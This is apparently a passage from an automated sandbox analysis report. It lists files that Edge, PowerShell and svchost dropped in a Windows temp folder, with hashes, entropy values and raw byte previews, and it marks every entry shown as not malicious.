Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\67646092-fafa-4917-9069-8df2e11811af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\7d53c896-bf78-4e84-a0b8-a11864230cd8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ixsxkfo.nvr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_532va0bs.y3o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hqzysif3.1ob.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j1xydgpe.wt2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ynixuluu.1c2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zlyutw5g.ori.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\a977795c-e4ad-4219-b0d6-d8779f3c8120.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983991878155761
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEIx:l81Lel7E6lEMVo/S01fDpWmEgr
MD5:	03E0A41C7EF64C946D818C2F5E4B7EC3
SHA1:	B3FEB76961D6A54EB9566EAC7E688BC55394B672
SHA-256:	CA2E03394F3B161D3A1E25F6A77B28EFDAB1D7989A0A1C2B6FC1764D8C27B7C7
SHA-512:	3F775790206CADE3A9CFBDCC3C081611330D525222D43085749A98D975B779109DF305799C53386E4B251D1D892735F5B4B31E6CD95475D0606BDD13BDB24001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cae8bdc2-bd50-43fa-ace5-875c2e75d3ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 276634
Category:	dropped
Size (bytes):	263704
Entropy (8bit):	7.998774950072608
Encrypted:	true
SSDEEP:	6144:vj1QHfvuVtTT0bCnop1MIPG4y9XgcbKdhRuQRhzb6d0X7ayNC:vjq/GGCnorP0952dPuQRFW0X2yk
MD5:	EF6DB67B82032D675EA4E61A73D3C358
SHA1:	882A4CF2944FC8E27F435890DF647177AD167CB0
SHA-256:	97C885F4390FFAE57EF240B46E113A0DFF637A003B6AD54031A1AA6809956276
SHA-512:	B41B3CD76F50964CD4FA0AB18BEB785FA592CB92045B3455D238799A1167CB5190EB1C7E0216E1E874AA03A8686025A6B366926023C9C56834B92B4F612D0A18
Malicious:	false
Preview:	............ko..q?....Am..0.<.M...e.B,[......\|J..............x..8. .w73;;;;....L.....La.k&.k..........~...#..........%.Y.>}.j~.O.r..L....R.`..w......ta.'.....~:.9.'C...\|..Gt...'..y..?...}..........,....1?..)QX....tgpgN.`..~...'.h.3^.s..UT...~o..R.].4^..V8"JwfnH...%..........i.qmG4.1@....a....\.i.C..Rq9.h....\..j...u..O..O.5!.}x....%j..}CW+...jaA.......-.......P?..vA3+iU...N...%...x.E.8.Z..2HQw._.H8........+Lw].wL..........tc..l.+p..7..<).......Z.!..!i......?./.P9.y..;....,..C.K.....~.0........E...n..(..&.X...na-c.6.....Q.[.p.IO....[...W$....l7J.,..=EK.3Y...R...\|..z_i.q......./.......[..5..qE.....FM+..VRB...r9!{3.....!...;.,{..}.sP..m..f.....~..2J..4.+..i6M...EW..ON..N.........4...T...j...1:..E=..<....Y..w.MV.....w.q.{...Y.....J...@.W..i.Sm;..0.1......./.4..b.wPbK.yeZ@.I...0.C.TZ$...-.+.[*......w.qG..}B^........n....#.........Y4.g4.....(.K..e..q7[.{..W....,%...z.^N...[/?......).9/?...r].oM2.'G.gu..Q\|..._+......1^...9......-.j2lae..+!3

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8160_1100004712\crl-set

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	22512
Entropy (8bit):	7.7925552321905265
Encrypted:	false
SSDEEP:	384:qt71+UBzeWhU6yVS2Ddc0fp/9yYoIJgWUeJuDzeG0LOsr2h9ltQYX9hVPz/HG1pA:a4GBwVPDdFhVyYoPWUiuXeG0K5dQYXFr
MD5:	846FEB52BD6829102A780EC0DA74AB04
SHA1:	DD98409B49F0CD1F9D0028962D7276860579FB54
SHA-256:	124B7EEBA31F0E3D9B842A62F3441204BEB13FADE81DA38B854AECBA0E03A5B4
SHA-512:	C8759E675506CCC6AA9807798252C7E7C48A0AB31674609738617DC105CEE38BCE69D4D41D6B95E16731466880B386D35483CBEEA6275773F7041BA6E305FAE9
Malicious:	false
Preview:	..{"Version":0,"ContentType":"CRLSet","Sequence":183,"DeltaFrom":0,"NumParents":202,"BlockedSPKIs":["Jdoa1Yu/z7In2HI7GFfUwY57qnQXtPnv+TZrXoafizk=","j1kfeqTcPv6UkMOKRpLJAR7RKPHeWVVpQG13tvofa0w=","BN3pqpp59hSYaCMl+ghwJ2cH+5ypU4QSC0aJMmhJT8k=","DEPqi83p/DvKFlZkrIIVVn40idU5OgyB4aeRQZkuGVM=","eBpM8ukkUvPuAdDDgaQhTzkEFlw5CtvWH80RJE4Jstw=","/NdsyiNH5c1bOTR/Uc9DZUtpor/JBzZwpr5H2HAebg4=","wO0gU0a7veButWD1zuAqNjTiR0p+ds+PvvVjuxF90OM=","fNKVt1VEgIq9lAlGbwg3xarcAuM7YVDGZE3goJZZ8jw=","lo26afv/Fb83YgiUMa3lp+rUt+rxvnACaBC8V9HGT24=","0x7DkoW3pTGdAVfbQg7YfHQ+Mzu8d/h3H3BGT0NqYEk=","h7/Yr6OvW0KdCamqVO5hNk9a4REx5Dj8QQlTQ80WsTU=","li5LVLuYp+5dX+uWM/mR08MwDpUU2t57DU+CjHlPjoc=","6EnHF2yT32X2S2FpgjZuVmMReBK2+ivAyPqK6u5Bgcw=","oM9T9CJlHjkxeuMa9kV3vkUPo3biie2DQrf8EzxpdBk=","r1kVGOLmxg67/AkHr6pJvEBR1F5/IUq/7nUS7gD2Ye0=","LcTLWR9+8GY0QWRrz1wOnbze13ygKUUZPO/G7bF0BhQ=","TNsGDzz+TD0/XjHDAP1oqR4NHl9Gtk5IlfIOG1z4Jp8=","qbVam1Uxu/fHGh5JIO/nlsK2eWj1Wmzly2IXLtmUW8o=","NuqWEoyJg5+2IfitDh7gucIgb2Kre02ixnZYk8m3ztI=","nFmjzK

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8160_1100004712\manifest.fingerprint

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	66
Entropy (8bit):	3.9320289247029807
Encrypted:	false
SSDEEP:	3:SUutfo6dTkKzV7hk3Mghu:SUutfo2TkKzV7yxA
MD5:	DEE9D3BDD016C697D11E370A995E7332
SHA1:	EF13D667EFD507E160DE165F4F1FE918FC728CA2
SHA-256:	A84789942C4436967DBA5D0CE45A3F6767BCFEBF67B951FBEF75CCA32E9ACD96
SHA-512:	1C798ED77FCACCC5EC237CB6618E6425FB7DBBE5F22B2A969B915987FDA4BE8ECADC265871832F0B7F9B5656433C27F8495ECEB16598294FAB80E709B2CB3D68
Malicious:	false
Preview:	1.1AB07E887ACCA305058EEAB9053C96DC531C2C5C067AB4F30AFA2B31F1EDD966

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8160_1100004712\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.584576854960822
Encrypted:	false
SSDEEP:	3:3FFhAWAUNXxAujmZ2+mvbhifFXAuArmvD2S3zsFXmXYvn:3FFWe9TK37ArdS34mXYvn
MD5:	E6CD92AD3B3AB9CB3D325F3C4B7559AA
SHA1:	0704D57B52CF55674524A5278ED4F7BA1E19CA0C
SHA-256:	63DFB8D99CE83B3CA282EB697DC76B17B4A48E4065FC7EFAFB77724739074A9D
SHA-512:	172D5DC107757BB591B9A8ED7F2B48F22B5184D6537572D375801113E294FEBFBE39077C408E3A04C44E6072427CBE443C6614D205A5A4AA290101722E18F5E8
Malicious:	false
Preview:	{.. "description": "Microsoft CRLSet",.. "name": "MicrosoftCRLSet",.. "version": "6498.2024.12.2"..}..

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8160_1739840689\manifest.fingerprint

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.87107305218322
Encrypted:	false
SSDEEP:	3:SddQLtQSnUunhU1mWrO2V:S/QZHThyay
MD5:	0C9218609241DBAA26EBA66D5AAF08AB
SHA1:	31F1437C07241E5F075268212C11A566CEB514EC
SHA-256:	52493422AC4C18918DC91EF5C4D0E50C130EA3AA99915FA542B890A79EA94F2B
SHA-512:	5D25A1FB8D9E902647673975F13D7CA11E1F00F3C19449973D6B466D333198768E777B8CAE5BECEF5C66C9A0C0EF320A65116B5070C66E3B9844461BB0FFA47F
Malicious:	false
Preview:	1.8BFD50D350D47445B57BB1D61BBDE41CEDA7AC43DC81FCE95BF1AC646D97D2A0

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8160_1739840689\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	134
Entropy (8bit):	4.405914533496662
Encrypted:	false
SSDEEP:	3:3FFhAWAUNhRKpEbXKS2XAXMWxQHJCzhiFfASvAcWxQHJCr2SkhSA:3FFWeRl2QIpCU4SvrpCSSkhSA
MD5:	58D3CA1189DF439D0538A75912496BCF
SHA1:	99AF5B6A006A6929CC08744D1B54E3623FEC2F36
SHA-256:	A946DB31A6A985BDB64EA9F403294B479571CA3C22215742BDC26EA1CF123437
SHA-512:	AFD7F140E89472D4827156EC1C48DA488B0D06DAAA737351C7BEC6BC12EDFC4443460C4AC169287350934CA66FB2F883347ED8084C62CAF9F883A736243194A2
Malicious:	false
Preview:	{.. "description" : "AutoLaunch Protocols Preregistration",.. "name" : "Protocol Preregistration",.. "version" : "1.0.0.8"..}

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping8160_1739840689\protocols.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3164
Entropy (8bit):	4.532278538438865
Encrypted:	false
SSDEEP:	48:O//uidcRcrcNc0cTc8cs+PcrcNc0cTc8csLcrcNc0cTc8cstcrcNc0cTc8csH:O//uWJ2UH
MD5:	6BBB18BB210B0AF189F5D76A65F7AD80
SHA1:	87B804075E78AF64293611A637504273FADFE718
SHA-256:	01594D510A1BBC016897EC89402553ECA423DFDC8B82BAFBC5653BF0C976F57C
SHA-512:	4788EDCFA3911C3BB2BE8FC447166C330E8AC389F74E8C44E13238EAD2FA45C8538AEE325BD0D1CC40D91AD47DEA1AA94A92148A62983144FDECFF2130EE120D
Malicious:	false
Preview:	{.. "allow": [.. {.. "origins": [.. "https://.get.microsoft.com",.. "https://.apps.microsoft.com".. ],.. "protocol": "ms-windows-store".. },.. {.. "origins": [.. "https://.onedrive.com",.. "https://.onedrive.live.com",.. "https://sharepoint.com".. ],.. "protocol": "ms-word".. },.. {.. "origins": [.. "https://[a-z1-9-]word-edit.officeapps.live.com",.. "https://[a-z1-9-]word-view.officeapps.live.com",.. "https://[a-z1-9-]onenote.officeapps.live.com",.. "https://[a-z1-9-]eap.officeapps.live.com",.. "https://[a-z1-9-]shared.officeapps.live.com",.. "https://[a-z1-9-]afhs.officeapps.live.com",.. "https://[a-z1-9-]vhs.officeapps.live.com",.. "https://[a-z1-9-]optin.online.office.com".. ],.. "use_regex": true,.. "protocol": "ms-word".. },.. {.. "origins": [.. "https://.onedrive.com",.. "https://.onedrive.li

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.261440119020892
Encrypted:	false
SSDEEP:	6:YEnLqUox56s/unLJjgGv/kRLQJjDrwv/unLanzL56s/C:YAvY56s/+JjZ/kRL0Dkv/+azL56s/C
MD5:	EEC4237D4C744F1077242536B519D7E3
SHA1:	06057ED21D6A931DF31CE82FF0697BCAAD4B96D1
SHA-256:	AE969C4889C6E8CF0A24BE02CE4074A1EB188CECEA8F52C9AC09C61C2AF7E297
SHA-512:	FC230E4BCB1670E2CC782A352E04A6B9ED3BB32C07B5FB611EEBCBC16E714A13FC41160F8824CC0369545AB9E94BAF07F4F709F9A9F1D131A5BC2401B657C90A
Malicious:	false
Preview:	{"logTime": "1216/151426", "correlationVector":"9Vuqob7ENcDi/QO1+CeiQO","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1216/151426", "correlationVector":"D1DEEFE719EE4B07B433CF6213902EAD","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1216/151426", "correlationVector":"tR0cUzwytF1YRXPLm7e6EF","action":"EXTENSION_UPDATER", "result":""}.

C:\Users\user\AppData\Local\Temp\e8d1dc50-6613-4bde-a4b3-9b491fbc5c1e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41902
Category:	dropped
Size (bytes):	76319
Entropy (8bit):	7.996132588300074
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6w6DLZ8:GdS8scZNzFrMa4M+lK5/nEDd8
MD5:	24439F0E82F6A60E541FB2697F02043F
SHA1:	E3FAA84B0ED8CDD2268D53A0ECC6F3134D5EBD8F
SHA-256:	B24DD5C374F8BB381A48605D183B6590245EE802C65F643632A3BE9BB1F313C5
SHA-512:	8FD794657A9F80FDBC2350DC26A2C82DFD82266B934A4472B3319FDB870841C832137D4F5CE41D518859B8B1DA63031C6B7E750D301F87D6ECA45B958B147FCD
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\eb3e365c-3b4e-4f5f-8dad-50533203423c.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7, 2 pages
Category:	dropped
Size (bytes):	106848
Entropy (8bit):	7.916846950395155
Encrypted:	false
SSDEEP:	1536:/t7dsAjcYfnYKHqU4UDgCWuJhG/oEMKTKipqgdrP9sW32prNybV0MLQF2C/hy1T:lGY1YUPDgK6TlrPTsSVC/h8
MD5:	14E5098503C76B02728CDE6EA96538C3
SHA1:	88B84351C73D8E918BEA3DD7EB2178B9C466A342
SHA-256:	7519554506D088A93C531F74F055E8966215CCC42C647382F6A95705172DCAFF
SHA-512:	F8A88B3E86503F4422F599A279EBC8C9F3B552AC3F7495C92780FFE2B406FD1F2F855F0B47D1D0F543E058E90E7146A54ABF86B611FE4F071F46ECE6927D6087
Malicious:	false
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 25 0 R/MarkInfo<</Marked true>>/Metadata 85 0 R/ViewerPreferences 86 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 2/Kids[ 3 0 R 20 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 16 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/XObject<</Image18 18 0 R/Image19 19 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 2726>>..stream..x..[Y..F.~.`.C.EZH4....0G.8k....Y`.....0.H..g'.~..I.C.Wk..G..&....l.7..`WWo...g..wI.`...~z.__...;.....\|./..,..0..../~..+./n?^^...3..q~y.a..8S".4g..=.wV0..-jx![.......Fl.o......u...`?..cl. w.0../...T..pup..b....9...x.F.r<.......Q._.........%^...G.Y`1GR.....C)7.X...j..X..f.8.e2......4.Uy.C...c<...L@S.+..,&.01........#.....0...q...Pz.......G..#.......+.p..."..K8..B....

C:\Users\user\AppData\Local\Temp\edge_BITS_8160_1007349823\9b9f8fb4-8a65-41e4-bda3-5416858f0aeb (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	22812
Entropy (8bit):	7.985402460171571
Encrypted:	false
SSDEEP:	384:puLGn1KIHXgrjzeReRlhv5bzX1sf8ANFlBZlVgQUP49fmA4tVyk4exlfiMRoLndl:puLqgrr/hv514lZmJUei/nb
MD5:	025FE5BCAB10E941F276145D9D00EC80
SHA1:	AC4C2C93FE10274716EC5603452269A8B5B31F71
SHA-256:	1AB07E887ACCA305058EEAB9053C96DC531C2C5C067AB4F30AFA2B31F1EDD966
SHA-512:	3785CFAE9F9AD3ECBC40BFBF822CC371965723610AF8C6965B8B0A1E3B4728E744A51678178B414329D4B46AFA5D3557B44A8723A1D89B7499B09E8F28C8C535
Malicious:	false
Preview:	Cr24....t.........0.."0....H.............0..........)P.....v+.8.f2I.}..=r..C\|........q.$...`\q..[....U...g'. U..R..'S.e..LH........<4VK....v.$0#.-a.......gr.3....#..QJ.....H?d....q.._.........$...._.^..J.U.+.tQ..K5V.f..w.Mqs...9.P..`(.z.9\|......P'....r.X........T+.IAL.>...\|~.?..FT.:..].w/...............o.....$...n..i...$.\...DH...<..f......l<.eh~\...S+...\|]$.4....g..r..6.......\|.......s3\.2..?..n...G..5.............U.....R.X.....N3l$_....\|H..q.UPm..6P.!.g..Q...]..[j.....]..JD...w..zV.....\|...A.]T..3lw...&.Aq.'K0..r.. ...N....".`5^..C...........0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.....*..m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A.................4Q..Mq_PQu...P.?J...T6..6..R/..N.\|}..cLFE....p..[DtQxdqM:b..1.....w4B..f)..(..(.!.A..lO.rC..n;=..B..b..._....H..c

C:\Users\user\AppData\Local\Temp\edge_BITS_8160_1007349823\BIT8E34.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	22812
Entropy (8bit):	7.985402460171571
Encrypted:	false
